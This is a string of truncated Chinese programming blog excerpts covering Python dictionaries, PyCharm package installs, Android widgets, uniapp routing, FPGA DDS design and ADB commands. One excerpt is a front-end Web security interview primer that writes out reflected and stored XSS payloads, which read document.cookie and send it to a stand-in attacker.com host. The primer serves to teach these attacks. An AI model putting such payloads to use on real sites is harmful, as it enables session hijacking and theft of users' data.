将python2初始化的字典源代码转为有序字典的代码

python2有序字典为 from collections import OrderedDict od = OrderedDict() python3.6以后的dict默认就是有序的,所以这里的方案是使用python3.7将源字典生成新的逻辑: #!/usr/bin/env python # -*- coding: utf-8 -*- A = {"MC_SYNCMODE":"112", "AAA":[12,34,], "CVCC":{"SDSD":{"dwqd":"eee"}}} print("od = OrderedDict()") def SetOrderedDict(dict1,preName): for key in dict1: if type(dict1[key]) == dict: print('{}["{}"]'.format(preName,key) + " = OrderedDict()") SetOrderedDict(dict1[key],'{}["{}"]'.format(preName,key)) elif type(dict1[key]) == str: print('{}["{}"]'.format(preName,key) + " = " + '"{}"'.format(dict1[key])) else: print('{}["{}"]'.format(preName,key) + " = " + '{}'.format(dict1[key])) SetOrderedDict(A,"od") 输出: od = OrderedDict() od["MC_SYNCMODE"] = "112" od["AAA"] = [12, 34] od["

前端必知的Web安全知识(狙击面试知识点)

你真的懂Web安全吗?比如下面的几个下问题 XSS需要转义的字符有哪些?为什么对这些字符进行转义XSS攻击者可以达到哪些目的?举例的时候不要举alert(‘xxx’)https加密如何验证服务端身份?https全程都是非对称通信吗?加密套件了解吗?你知道哪些加密算法?如何设计一个安全的登录系统,你会考虑哪些点 如果以上问题还有困惑的地方,欢迎往下阅读,本文将用浅显易懂的语言带你快速了解Web安全。 Web安全是指保护Web应用程序免受恶意攻击和滥用的过程。攻击者可以通过Web漏洞来利用应用程序并窃取敏感信息、执行未经授权的操作或破坏应用程序。 一. XSS 1.1 基本概念 xss 全程是 Cross Site Scripting,跨站脚本攻击,是为了避免与css混淆,所以叫xss 跨站脚本攻击(XSS)是指攻击者向Web页面注入恶意脚本的一种攻击方式。当受害者访问带有恶意脚本的页面时,这些脚本将在用户的浏览器中执行,从而允许攻击者获取用户的敏感信息或执行未经授权的操作。XSS攻击可以通过多种方式实现,包括反射型、存储型和DOM型。 1.2 XSS攻击原理 & 模拟场景 1.2.1 反射型XSS攻击 (非持久型) 反射型XSS攻击是指将恶意脚本注入到URL参数中,当受害者点击恶意链接时,恶意脚本就会被执行。攻击者通常会将包含恶意脚本的链接通过钓鱼邮件、社交网络等方式发送给受害者,诱导他们点击链接。反射型XSS攻击的特点是恶意脚本只在用户点击链接后被执行,而不是存储在服务器上。 场景伪代码模拟 例如,攻击者伪造了如下url链接,通过在参数中注入恶意脚本 http://www.example.com/search.php?q=<script>var cookie = document.cookie;var xhr = new XMLHttpRequest();var url = `https://www.attacker.com?usercookie=${cooke};`xhr.open('GET', url); xhr.send();</script> 在这个URL中,攻击者将恶意脚本代码<script>var cookie = document.cookie;var xhr = new XMLHttpRequest();var url = 'https://www.attacker.com;x // 发送GET请求 xhr.open('GET', url); xhr.send();</script> 注入到了 q 参数中。当用户在浏览器中访问这个URL时,Web应用程序会将这个参数值取出来,并将它展现在页面上,从而使恶意脚本代码被执行。这段伪代码大概就实现了获取用户cookie,并发送到黑客的服务器上。 1.2.2 存储型XSS攻击 (持久型) 存储型XSS攻击则是攻击者将恶意脚本代码存储到Web应用程序的数据库中,然后在其他用户访问这个Web应用程序时,将恶意脚本代码注入到页面中,从而实现攻击。 场景伪代码模拟 具体来说,攻击者通常会在Web应用程序的输入框中输入恶意脚本代码,例如在有评论区的页面中输入评论 script>var cookie = document.cookie;var xhr = new XMLHttpRequest();var url = `https://www.

Pycharm安装numpy库失败解决办法

一、出现错误(以matplotlib为例): 二、解决办法: 方法一(失败):PyCharm中有一个安装库的方法是:Settings>>Python Interpreter>>点击右侧的加号 第二个图 失败原因:打开之后是空白,刷新什么也出不来,故放弃 方法二(失败):在代码页根据错误提示下载库,但是出现Try to run this command from the system terminal. Make sure that you use the correct version of ‘pip’ installed for your Python interpreter located at+你的安装地址错误 失败原因:说是pycharm的pip版本(第二图)和cmd黑框pip list里的pip版本不一致,故升级为一致,再次下载这个库也失败。(pycharm通过这个项目script目录删除输入cmd,进行升级;黑框直接cmd打开就可以升级) 方法三(成功,其他库类似):在你建的项目里找到script目录如下,删除+输入cmd+ pip install numpy --trusted-host pypi.tuna.tsinghua.edu.cn 结果如下:安装成功 方法四(虽然上述3的方法也可以,但是安装的库只能在这个项目用,跑其它项目的代码时还得下载已下载的库)(命令行,conda环境,成功): 步骤1:conda create -n 环境名称 python=3.10 (环境名称写个喜欢的名字就行,我第一次执行这行命令需要更新一下conda) 步骤2:conda activate 环境名称 步骤一:是创建虚拟环境,步骤二:是进入到具体的环境里。每一个虚拟环境只需要创建一次,但是每次执行命令的时候需要进入到虚拟环境再执行具体项目的命令 实操一:(cmd,以自己的环境名称为例): conda activate yiluojian G: cd 西02\论文\ConvolutionalNeuralNetwork-master python XX.py 说明:在执行python XX.py肯定会出现库没安装问题,那你直接在这个路径下进行安装就可,安装完后再运行。 pip install numpy --trusted-host pypi.tuna.tsinghua.edu.cn 最后:测试一下运行其他项目是否还需要安装已安装的库 搞了个副本发现可以直接运行,不再需要安装库

android自定义时间选择

自定义时间选择器,可以更改到年月日,时分秒 一、自定义DatePicker public class CustomDatePicker { /** * 定义结果回调接口 */ public interface ResultHandler { void handle(String time); } public enum SCROLL_TYPE { HOUR(1), MINUTE(2); SCROLL_TYPE(int value) { this.value = value; } public int value; } private int scrollUnits = SCROLL_TYPE.HOUR.value + SCROLL_TYPE.MINUTE.value; private ResultHandler handler; private Context context; private boolean canAccess = false; private Dialog datePickerDialog; private DatePickerView year_pv, month_pv, day_pv, hour_pv, minute_pv; private static final int MAX_MINUTE = 59; private static final int MAX_HOUR = 23; private static final int MIN_MINUTE = 0; private static final int MIN_HOUR = 0; private static final int MAX_MONTH = 12; private ArrayList<String> year, month, day, hour, minute; private int startYear, startMonth, startDay, startHour, startMinute, endYear, endMonth, endDay, endHour, endMinute; private int lastMonthDays; //上一个被选中的月份天数 private String title; private String currentMon, currentDay, currentHour, currentMin; //当前选中的月、日、时、分 private boolean spanYear, spanMon, spanDay, spanHour, spanMin; private Calendar selectedCalender, startCalendar, endCalendar; private TextView tv_title, tv_cancle, tv_select, hour_text, minute_text; public CustomDatePicker(Context context, String title, ResultHandler resultHandler, String startDate, String endDate) { if (isValidDate(startDate, "

干货!50个Python数据分析实战案例 | 项目(持续更新……)

项目地址 互联网寒冬下,数据分析师还吃香吗?大话NBA | 用数据带你回顾乔丹的职业生涯数据分析看看基金定投如何选择买卖点?可转债打新能赚钱吗?Python数据分析告诉你!分析几十万条知乎数据,我挖掘出了这些秘密用(大)数据全方位解读电视剧《大秦帝国之崛起》以虎嗅网4W+文章的文本挖掘为例,展现数据分析的一整套流程从大数据舆情传播角度看《三生三世十里桃花》北京二手房房价分析用数据分析看看可转债抢权配售值得做吗?kaggle数据分析实践项目练习——人力资源分析大众点评评论文本挖掘手机微博榜单数据爬虫与分析猫眼电影爬虫及分析漫威电影宇宙英雄综合实力对比分析20 秒看懂中国大学 10 年排行榜变化航空公司客户价值分析电子商务网站用户行为分析及服务推荐关于地震的爬虫数据分析实战保险公司客户分类分析金融产品销售预测分析共享单车租用影响因素探索知乎话题数据爬取及关系图谱可视化数据分析告诉你,韦小宝跟他七个老婆哪个最亲?如何拿链家网的租房数据做些有意思的事情?微信好友分析爬虫数据分析【旅游篇】我分析了42万字的歌词,为了搞清楚民谣歌手们在唱些什么用数据的方式来撕逼:LOL vs DOTA2豆瓣的电影评分靠谱吗? —— 一点数据分析的视角2016 年美国大选的投票结果中,有哪些数据值得分析?<<战狼Ⅱ>>豆瓣十二万影评浅析我用Python做了一个咖啡馆数据分析基于一卡通数据的学生餐饮数据分析财政收入影响因素分析及预测模型基于基站定位数据的商圈分析台风最喜欢在我国哪个省市登陆绝地求生游戏数据分析利用python分析财务报表数据六万条数据全面解析,城市春节禁放烟花爆竹真的有用吗?我分析了70万局「吃鸡」数据,找到了其中的3个秘密全唐诗数据分析游戏直播行业真的如你想象般暴利?大胆,都是哪些程序员在反对996?!实习僧网站数据分析北京高档酒店价格因素分析汽车之家口碑数据数据分析网贷平台Prosper2005~2014数据预测分析淘宝双11化妆品数据泰坦尼克号上的生还率分析基于用户消费数据的Python数据分析python抓取课工厂网站数据和分析Thera Bank信贷业务数据上海餐饮店数据分析用数据全方位解读《欢乐颂2》 关于Python技术储备 学好 Python 不论是就业还是做副业赚钱都不错,但要学会 Python 还是要有一个学习规划。最后大家分享一份全套的 Python 学习资料,给那些想学习 Python 的小伙伴们一点帮助! 一、Python所有方向的学习路线 Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。 二、Python必备开发工具 三、Python视频合集 观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。 四、实战案例 光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。 五、Python练习题 检查学习结果。 六、面试资料 我们学习Python必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有阿里大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。 最后祝大家天天进步!! 上面这份完整版的Python全套学习资料已经上传至CSDN官方,朋友如果需要可以直接微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】。

Android Studio出现闪退

We recommend using a newer Android Gradle plugin to use compileSdk = 34 This Android Gradle plugin (7.4.2) was tested up to compileSdk = 33 This warning can be suppressed by adding android.suppressUnsupportedCompileSdk=34 to this project’s gradle.properties The build will continue, but you are strongly encouraged to update your project to use a newer Android Gradle Plugin that has been tested with compileSdk = 34 Update Gradle property to suppress warning

js 前端打字特效,类似chatGPT显示效果

《灵动指尖,让文字舞动起来:探索Typed.js的魔力世界》 Typed.js,这款基于JavaScript开发的文字动画库,以其独特的动态打字效果吸引了众多开发者和设计师的目光。它仿佛赋予了字符生命,让它们以模拟真实打字的方式逐个跃然于屏幕上,为用户带来全新的阅读体验。 无需复杂的编程知识,只需简单引入并配置,你就能轻松实现诸如滚动公告、动态标语等多种酷炫效果。无论是网页设计中吸引眼球的开场白,还是产品介绍时循序渐进的信息展示,甚至是在教育场景下引导学生跟随节奏学习,Typed.js都能游刃有余地应对。 效果与chatGpt返回文字类似 效果实验基地:https://www.jq22.com/jquery-info12282 Typed.js 是一个轻量级的JavaScript库,用于创建打字动画效果。它可以模拟逐字显示、删除和循环播放文本内容,通常用于网页标题、标语或者介绍性文字等需要动态展示的场合。 使用 Typed.js 的基本步骤如下: 引入Typed.js库: html <script src="https://cdnjs.cloudflare.com/ajax/libs/typed.js/2.0.11/typed.min.js"></script> 在HTML中定义要应用效果的元素,比如一个隐藏的<span>或<div>: html <div id="typed"></div> 在JavaScript中初始化Typed.js并配置选项: javascript var typed = new Typed('#typed', { strings: ['欢迎来到我的网站!', '这里有很多有趣的内容...', '继续浏览吧!'], // 要轮流显示的字符串数组 typeSpeed: 40, // 打字速度(单位:字符/每秒) backSpeed: 20, // 删除速度 loop: true, // 是否循环播放 backDelay: 1500, // 每个字符串之间延迟的时间 }); // 或者,你也可以在页面加载完成后初始化 document.addEventListener('DOMContentLoaded', function() { var typed = new Typed(...); }); 通过调整这些参数,你可以轻松定制出符合需求的打字动画效果。

【全解析 | PTA】浙大版《Python 程序设计》题目集-第二章

第二章 Python语言概述 一、判断题 1.输入正整数6和5,要求和,6+66+666+6666+66666,下面程序正确吗?F a=int(input()) n=int(input()) print(sum([int('a'*i) for i in range(1,n+1)])) 在代码中,使用了字符串 ‘a’ 而不是变量 a 的值是因为字符串 ‘a’ 在引号内被视为文本常量,而不是变量。这意味着在表达式 int('a'*i) 中,‘a’ 被视为字符 ‘a’ 的文本表示,而不是变量 a 所代表的用户输入的值。 如果您想要使用变量 a 中的值,您需要使用实际的变量而不是字符串 ‘a’。因此,需要将 ‘a’ 替换为 str(a) 2.下面程序的运行结果是4。F i=3 ++i Python没有自增自减运算符 3.当输入是:45,8 时,下面程序的输出结果是37。F a,b = input().split(',') b=int(b) c=int('a',b) print(c) int()函数的进制转换,这道题代码错了c=int('a',b),书p40 4.当输入是10.0时,下面程序的输出是f(10.0) = 0.1。F x=int(input()) if x==0: result=0 else: result=1/x print('f({0:.1f}) = {1:.1f}'.format(x,result)) 第1行代码就错了,int不能把字符串10.0转为整型(改成float可以),因为还有一个点号呀,int能怎么对点号进行处理呢 5.表达式 -2**4 等于16。F 牢记运算符优先级 6.下面程序的输入是5,输出是:F ***** ***** m=int(input()) print('{:^5}'.format('*'*m)) print('{:^m}'.format('*'*m)) 第三行错了,m不会被直接替换为变量值

idea项目中pom.xml变灰被划横线解决办法

背景:项目中pom.xml文件被划一条横线且颜色变灰,原因是因为被设置为忽略文件了 具体结果如下: pom.xml 被划横线 解决办法 第一种(推荐) pom.xml右键 -> maven ->Unignore Projects 第二种(复杂) 1. 如下图打开设置 2. 取消勾选Ignore Files文件中被勾选的 3. 取消后,点击ok 4. 项目恢复正常 问题解决 END!

XP、Win7、Win10、Win11 支持Anaconda最高的版本

文章目录 0、前言1、XP支持的Anaconda最高版本2、Win7支持的Anaconda最高版本3、Win10建议安装的Anaconda最高版本(这个不一定对)4、Win11支持的Anaconda最高版本5、Anaconda下载地址6、Anaconda和Anaconda内置的Python版本对应关系官网7、整理的Anaconda版本和内置Python对应关系表 0、前言 对于Windows系统来说,Anaconda安装结束后,配置好环境变量,有内置的base环境,这个环境里面有一个Python解释器; 对于再安装虚拟环境,虚拟环境的Python不和base环境Python一致时候,某一版本的Anaconda对能安装的虚拟环境的Python版本有一个范围要求要求,这个没有具体验证过 1、XP支持的Anaconda最高版本 Windows XP 最高可以使用 Python 3.4.x 系列,Python3.5开始不支持XP系统,所以XP可以安装对应内置Python为3.4.x版本的Anaconda,对应的最高Anaconda版本为:Anaconda 2.3.0,Anaconda内置Python版本为3.4.4 2、Win7支持的Anaconda最高版本 Win7系统不支持python3.9,也就是说win7可以安装python3.8.x最高版本的Anaconda,对应的是 Anaconda 2021.05,Anaconda的内置Python为3.8.8 下载网址见下方 3、Win10建议安装的Anaconda最高版本(这个不一定对) Win10虽然可以安装后面版本的,但是实践当中Anaconda3-2022.10的最好用,用了其他版本,老的硬件跑不出来,Anaconda内置Python版本是3.9.13 4、Win11支持的Anaconda最高版本 Win11支持最新版本的Anaconda 5、Anaconda下载地址 官方下载地址 当前版本 https://www.anaconda.com/download/ 历史版本 https://repo.anaconda.com/archive/ 镜像下载地址 清华镜像 https://mirrors.tuna.tsinghua.edu.cn 具体的网址: https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/ 6、Anaconda和Anaconda内置的Python版本对应关系官网 官网:https://docs.anaconda.com/free/anaconda/reference/packages/allpkglists/ 7、整理的Anaconda版本和内置Python对应关系表 关于Anaconda安装,可以参考该篇文章 Windows系统安装Anaconda、conda源换源、PyPI源换源、jupyter的kernel内核配置、jupyter自动补全配置、PyCharm的Python解释器配置

Flask 菜品管理

common/libs/Helper.py getDictFilterField() 方法 用于在web/templates/food/index.html中展示菜品分类 如何能够通过food里面的cat_id获取分类信息呢?只能通过for循环,这样会很麻烦,所以定义了这个方法。 这个方法可以的查询返回结果集dic,按照某一个字段构建成某一个字典,这的key值一般是cat_id, select_filed 要查询的字段 key_field 希望返回结果集dic里面key键的字段 id_list 希望select_filed要查询的这个字段里等于哪些值 ''' 根据某个字段获取一个dic出来 ''' def getDictFilterField( db_model,select_filed,key_field,id_list ): ret = {} query = db_model.query if id_list and len( id_list ) > 0: query = query.filter( select_filed.in_( id_list ) ) list = query.all() if not list: return ret for item in list: if not hasattr( item,key_field ): break ret[ getattr( item,key_field ) ] = item return ret 如在Food.py cat_mapping = getDictFilterField( FoodCat,FoodCat.

uniapp学习-路由跳转方式

概览: navigateTo (保留当前页面,跳转到其他页面,用navigateBack可以返回上一页)reLaunch (关闭所有页面,跳转到其他页面)redirectTo (关闭当前页面,跳转到其他页面)switchTab (适用于底部导航栏之间的跳转,或者跳转到底部导航栏)location.href (跳转到外部链接) 注意: navigateTo,redirectTo 只能打开非 tabBar 页面switchTab 只能打开tabBar页面reLaunch 可以打开任意页面页面底部的tabBar由页面决定,只要是定义位tabBar的页面,底部都有tabBar 实例应用 1.uni.navigateTo 使用uni.navigateBack可以返回到原页面 页面跳转路径有层级限制,不能无限制跳转新页面跳转到 tabBar 页面只能使用 switchTab 跳转 uni.navigateTo({ url: '/pages/notice/notice' }) 2.uni.navigateBack 关闭当前页面,返回上一页面或多级页面。 可通过 getCurrentPages()方法 获取当前的页面栈,决定需要返回几层。常用参数delta,默认为1,含义是:返回的页面数,如果 delta 大于现有页面数,则返回到首页。 uni.navigateTo({ delta: 1 }); 3.uni.switchTab 跳转到 tabBar 页面 需要跳转的 tabBar 页面的路径(需在 pages.json 的 tabBar 字段定义的页面),路径后不能带参数跳转到 tabBar 页面,并关闭其他所有非 tabBar 页面,只能跳转到tabBar页面。 //page.json文件配置 { "pages": [ //pages数组中第一项表示应用启动页,参考:https://uniapp.dcloud.io/collocation/pages { "path": "pages/index/index", "style": { "navigationBarTitleText": "首页", 顶部导航名称 "navigationBarBackgroundColor":"rgb(0,154,251)",//顶部导航背景色 "navigationBarTextStyle":"white"//顶部导航字体颜色 } }, ] } //页面用法 uni.

Java期末复习知识点

一.Web服务器和HTTP协议: 1.web服务器工作原理? 客户在浏览器上输入URL地址,回车.然后浏览器将URL地址发送给DNS服务器获取,对应Web服务器的IP地址,然后将IP地址返回给浏览器,然后浏览器向Web服务器发送请求,然后Web服务器查询数据,返回给浏览器,然后浏览器进行渲染,显示在客户面前 2.web服务器和web应用的关系? Web服务器是web应用的基础.web应用是运行在web服务器上的,同时web服务器用来接收浏览器发送的请求,并做出响应 3.常见的web服务器包括哪些? nginx Tomcat apache IIs 常见浏览器的架构是: B/S Browser/server架构, HTTP协议提供通信 ​ 常见的浏览器有: Browser: IE Chrome edge firefox server:(nginx-转发代理 Tomcat-java apache-php iis-Asp.met) 4.Tomcat服务器 ​ Tmocat服务器默认端口号是 8080 #### 如何修改端口号? Tmocat服务器修改端口号在server.xml文件中修改 如何部署Tomcat服务器项目? ​ 两种方式: ​ 将项目打包成war压缩文件,复制到webapps目录下 ​ 还有一种是将编译好的项目文件 直接复制到webapps目录下 5.HTTP HTTP,HTML,HTTPS的区别和联系? HTTP是超文本传输协议,用来传输数据. 传输层基于TCP,默认端口号是80 HTTPS是基于HTTP进行加密之后的传输协议. 默认端口号是443 HTML是超文本标记语言,HTML是浏览器解析渲染的语言, HTTP报文的类型? 分为请求和应答报文 HTTP报文结构? 头部head和主体body HTTP请求报文的类型? GET POST PUT HEAD DELETE: GET 查 POST 增 PUT 改 HEAD查头部元数据,不返回资源主体信息 DELETE: 删 get和post的区别? get 传输小数据,最重要的是get请求是将 数据 放在URL里面

wordpress线报主题,为线报而生-baolog: wordpress线报主题,为线报而生,一个简单又好看的线报主题模板

主题介绍 超小体积 主题体积小于2m,功能全,颜值高,兼容好,够简洁。 大量优化功能 深度优化WordPress,干掉没有卵用的函数,让后台访问更快,再也不用莫名其妙的等待好多秒了。 响应式设计 主题采用响应式设计,完美兼容PC端、手机端和平板等各类设备访问 个性化主题设置 主题提供可视化设置面板,可自定义配置超过即几十项,配置主题更方便。 编辑器增强 自带多种功能短代码,让文章撰写更方便。支持代码高亮,方便快捷插入与编辑代码。 多种功能模块 防红模块,禁止文章复制。 环境要求 PHP版本5.6以上,WordPress 5.0+ 安装说明 到WordPress管理后台中的「外观」-「主题」中点击「添加」,选择baolog的主题包进行上传安装并启用即可。提示:为了防止主题不兼容,请在安装主题前进行数据备份,防止数据字段重复覆盖等情况发生。开启首页子导航首先需要自动手动创建两个页面,分别以24小时热门、一周热门为模板和页面名称,(如果不是以这个两个为页面名,首页的样式可能会出现错误。)然后在导航处添加这两个页面到首页导航 图片 地址: https://www.pang12.com/309.html

uniapp学习-登录/注册页面搭建

1.创建路由 2.页面搭建 点击登录/注册切换页面 效果: 代码: <style lang="scss"> .container { font-family: PingFangSC, PingFang SC; } .top { position: relative; left: 0; top: 0; .title { display: inline-block; width: 440rpx; padding: 3rpx; color: #ffffff; font-size: 44rpx; line-height: 62rpx; position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); } } .box { width: 100%; display: flex; justify-content: center; .main { position: relative; width: 670rpx; height: 590rpx; background-color: #ffffff; box-shadow: 0px 0px 9px 0px rgba(10, 53, 74, 0.

基于FPGA的DDS任意波形发生器设计

一、简介 DDS技术最初是作为频率合成技术提出的,由于其易于控制,相位连续,输出频率稳定度高,分辨率高, 频率转换速度快等优点,现在被广泛应用于任意波形发生器(AWG)。基于DDS技术的任意波形发生器用高速存储器作为查找表,通过高速D/A转换器来合成出存储在存储器内的波形。所以它不仅能产生正弦、余弦、方波、三角波和锯齿波等常见波形,而且还可以利用各种编辑手段,产生传统函数发生器所不能产生的真正意义上的任意波形。 二、原理 根据傅立叶变换定理可知,任何周期信号都可以分解为一系列正弦或余弦信号之和,不失一般性,以正弦信号的产生为例详细说明直接数字频率合成技术的原理。比如一个频率为fc的正弦信号,其时域表达式为: 其相位表达式为: 从两式可以看出,正弦信号是关于相位的一个周期函数,下图更加直观的描述相位与幅度的关系,16个相位与16个幅度值相对应,即每一个相位值对应一个幅度值,比如1100对应的相位为3π/2,对应的幅度值为-1. MATLAB实现EMD分析振动信号时的波形匹配延拓 相位和幅值的一一对应关系就好比存储器中地址和存储内容的关系,如果把一个周期内每个相位对应的幅度值存入存储器当中,那么对于任意频率的正弦信号,在任意时刻,只要已知相位Φ(t),也就知道地址,就可通过查表得到s(t)。下图是DDS的基本结构框图: 相位累加器在每个时钟脉冲输入时,把频率控制字累加一次,相位累加器的输出数据就是信号的相位,用输出的数据作为波形存储器(ROM)的相位取样地址,这样就可以把存取在波形存储器内的波形抽样值经查找表查处,完成相位到幅值的转换。频率控制字相当于Φ(t)中的2πfc,相位控制字相当于Φ(t)中的θ0。 由于相位累加器字长的限制,相位累加器累加到一定值后,其输出将会溢出,这样波形存储器的地址就会循环一次,即意味着输出波形循环一周。故改变频率控制字即相位增量,就可以改变相位累加器的溢出时间,在时钟频率不变的条件下就可以改变输出频率。改变查表寻址的时钟频率,同样也可以改变输出波形的频率。 为了获得较高的频率分辨率,则只有增加相位累加器的字长N,故一般N都取值较大。但是受存储器容量的限制,存储器地址线的位数w不可能很大,一般都要小于N。这样存储器的地址线一般都只能接在相位累加器输出的高w位,而相位累加器输出余下的(N-W)个低位则只能被舍弃,这就是相位截断误差的来源。 DDS模块的输出频率fout是系统工作频率fc、相位累加器位数N及频率控制字K满足如下关系 频率分辨率,即频率的变化间隔 三、实现代码 利用matlab或者Guagle_wave工具生成波形文件,存入ROM。基于Quartus II平台,并且调用了ROM核。 module DDS ( sys_clk,sys_rst_n,freq_word,phase_word,wave_out);input sys_clk ; //系统工作时钟input sys_rst_n ; //复位,低有效input [31:0] freq_word ; //频率控制字,控制输出波形频率input [11:0] phase_word ; //相位控制字,控制初始相位output[9:0] wave_out ; //输出波形,位宽10bitreg [31:0] freq_word_reg ;reg [11:0] phase_word_reg ;reg [31:0] phase_adder ; //相位累加器reg [9:0] rom_address ; //存储深度2^10always @(posedge sys_clk or negedge sys_rst_n) begin if (sys_rst_n ==1'b0) begin freq_word_reg <= 32'h0000;endelse freq_word_reg <= freq_word;endalways @(posedge sys_clk or negedge sys_rst_n) begin if (sys_rst_n ==1'b0) begin phase_word_reg <= 12'h0000;endelse phase_word_reg <= phase_word;endalways @(posedge sys_clk or negedge sys_rst_n) begin if (sys_rst_n ==1'b0) begin phase_adder <= 32'h0000;endelse phase_adder <= phase_adder + freq_word_reg; //对频率控制字进行累加endalways @(posedge sys_clk or negedge sys_rst_n) begin if (sys_rst_n ==1'b0) begin rom_address <= 32'h0000;endelse rom_address <= phase_adder[31:20] + phase_word_reg; endsin_rom DDS_ROM_U0 (.

ModuleNotFoundError: No module named ‘tqdm.auto’ 原因与解决方法

今天一位朋友在用Python开发的AI绘画程序“Stable Diffusion”的时候,结果报错如下:+ Python 3.10.11 (tags/v3.10.11:7d4cc5a, Apr 5 2023, 00:38:17) [MSC v.1929 64 bit (AMD64)] Version: v1.6.1 Commit hash: 4afaaf8a020c1df457bcf7250cb1c7f609699fa7 current transparent-background 1.2.9 Installing requirements 1 for Infinite-Zoom is_installed check for tensorflow-cpu failed as 'spec is None' Installing requirements for easyphoto-webui Installing requirements for tensorflow Installing requirements for easyphoto-webui Installing requirements for imageio Installing requirements for easyphoto-webui Installing requirements for invisible-watermark Launching Web UI with arguments: --theme dark --xformers --api --autolaunch Traceback (most recent call last): File "

BAT脚本实现黑客的数字雨

@echo off :: @echo off 表示不显示脚本文本内容 title Number Rain :line color 0a setlocal ENABLEDELAYEDEXPANSION for /l %%i in (0) do ( set "line=" for /l %%j in (1,1,80) do ( :: /a 表示数学计算 set /a Down%%j-=2 set "x=!Down%%j!" if !x! LSS 0 ( set /a Arrow%%j=!random!%%3 set /a Down%%j=!random!%%15+10 ) set "x=!Arrow%%j!" if "!x!" == "2" ( set "line=!line!!random:~-1!" ) else (set "line=!line! ") ) :: /p 表示提示用户输入。/p=!line!省掉变量,相当于只做显示用,<nul指去掉换行 set /p=!

Logcat 参数及功能介绍

个人最常用的logcat 指令大致就有 -c , -t, -v, 但有个新需求,需要获取近期 *min 内的LOG,那么通过logcat -h 就可以展示具体有哪些指令,一起学习记录一下. rk3288:/ $ logcat -h Usage: logcat [options] [filterspecs] options include: -s Set default filter to silent. Equivalent to filterspec '*:S' -f <file>, --file=<file> Log to file. Default is stdout -r <kbytes>, --rotate-kbytes=<kbytes> Rotate log every kbytes. Requires -f option -n <count>, --rotate-count=<count> Sets max number of rotated logs to <count>, default 4 --id=<id> If the signature id for logging to file changes, then clear the fileset and continue -v <format>, --format=<format> Sets log print format verb and adverbs, where <format> is: brief help long process raw tag thread threadtime time and individually flagged modifying adverbs can be added: color descriptive epoch monotonic printable uid usec UTC year zone Multiple -v parameters or comma separated list of format and format modifiers are allowed.

Android 通过ADB方式获取&设置音量

在Android 开发中,会涉及到各种音量调整环节,可以通过Demo的方式实时修改体现也可以通ADB的方式来实现.简单记录一下. 一 获取设备音频全部信息 通过dumpsys 指令获取audio信息,即可获得设备全部信息. dumpsys audio 二 Android的音量类型(举例:Android 8.1) /* These values must be kept in sync with system/audio.h */ /* * If these are modified, please also update Settings.System.VOLUME_SETTINGS * and attrs.xml and AudioManager.java. */ /** Used to identify the default audio stream volume */ public static final int STREAM_DEFAULT = -1; /** Used to identify the volume of audio streams for phone calls */ public static final int STREAM_VOICE_CALL = 0; /** Used to identify the volume of audio streams for system sounds */ public static final int STREAM_SYSTEM = 1; /** Used to identify the volume of audio streams for the phone ring and message alerts */ public static final int STREAM_RING = 2; /** Used to identify the volume of audio streams for music playback */ public static final int STREAM_MUSIC = 3; /** Used to identify the volume of audio streams for alarms */ public static final int STREAM_ALARM = 4; /** Used to identify the volume of audio streams for notifications */ public static final int STREAM_NOTIFICATION = 5; /** Used to identify the volume of audio streams for phone calls when connected on bluetooth */ public static final int STREAM_BLUETOOTH_SCO = 6; /** Used to identify the volume of audio streams for enforced system sounds in certain * countries (e.